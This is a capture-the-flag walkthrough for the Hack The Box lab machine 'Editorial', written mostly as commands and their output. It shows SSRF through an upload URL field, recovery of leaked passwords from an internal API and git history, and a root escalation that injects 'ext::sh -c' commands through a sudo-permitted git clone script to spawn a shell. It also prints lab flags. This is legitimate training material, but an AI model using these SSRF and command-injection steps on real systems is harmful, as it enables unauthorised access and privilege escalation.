Table of contents
Open Table of contents
Info
CTF URL: https://app.hackthebox.com/machines/Editorial
IP: 10.10.11.20
Difficulty: Easy
Reconaisance
NMAP
nmap -p- -sS -sC -sV 10.10.11.20 -v --min-rate 10000
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEB
Add to editorial.htb
hosts file.
Dir
dirsearch -u http://editorial.htb/
# result
[17:50:17] 200 - 3KB - /about
[17:51:27] 200 - 7KB - /upload
/upload
This page has upload functionality. It takes as an input a file or a url.
Getting request
setup a listener:
nc -lvnp 1234
and enter as an input url: http://<yourIP>:1234
. You will get:
GET / HTTP/1.1
Host: 10.10.14.9:1234
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
So, there is a python backend.
SSRF
Enter http://localhost
as an input.
- seems not working Maybe some other ports? Send to intruder(Burp) or write a custom script to brute force ports.
Port 5000
http://localhost:5000
returns a link to static image, downloading it we can find the following:
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Checking API
/api/latest/metadata/messages/authors
gives
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Found credentials!
username | password |
---|---|
dev | dev080217_devAPI!@ |
user.txt
We can login as dev user via ssh.
dev@editorial:~$ cat user.txt
9d0d1725f4b7e77e63d0fa228c59e091
PrivEsc to prod
.git restore
a repo found
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Aug 4 22:19 .git
We can check status
git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
deleted: app_editorial/static/css/bootstrap-grid.css.map
deleted: app_editorial/static/css/bootstrap-grid.min.css
...
deleted: app_editorial/static/js/bootstrap.min.js
deleted: app_editorial/static/js/bootstrap.min.js.map
deleted: app_editorial/templates/about.html
deleted: app_editorial/templates/index.html
deleted: app_editorial/templates/upload.html
we can restore
git restore app_editorial/app.py
git restore app_api/app.py
Some information about how backend works
/opt
some findings in /opt
folder
ls /opt/
apps internal_apps
#
ls apps/
app_editorial
#
ls internal_apps/
app_api clone_changes environment_scripts
environment_scripts/clear.sh
#!/bin/bash
find /opt/apps/app_editorial/static/uploads/. -exec rm -f {} \; 2>/dev/null
.git Commit History
Let’s return to git
. Maybe something in History?
git log -p
it will reveal:
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
Found credentials for prod
username | password |
---|---|
prod | 080217_Producti0n_2023!@ |
we can su prod
now
PrivEsc to root
/opt
We now have access to the following:
prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Sudo Permissions
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Exploit
Git needs to be exploited somehow. There is the following documentation:
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c echo% 1% >% /home/prod/1"
# it works
Now let’s craft some exploit
vim exploit.py
# import os; os.system("/bin/sh")
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /home/prod/exploit.py% >% /opt/internal_apps/clone_changes/clone_prod_change.py"
cat /opt/internal_apps/clone_changes/clone_prod_change.py
# import os; os.system("/bin/sh")
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 1
# and you become a root
root.txt
whoami
root
cat root.txt
b7f6c7ce258b754516701f59f8df3b0d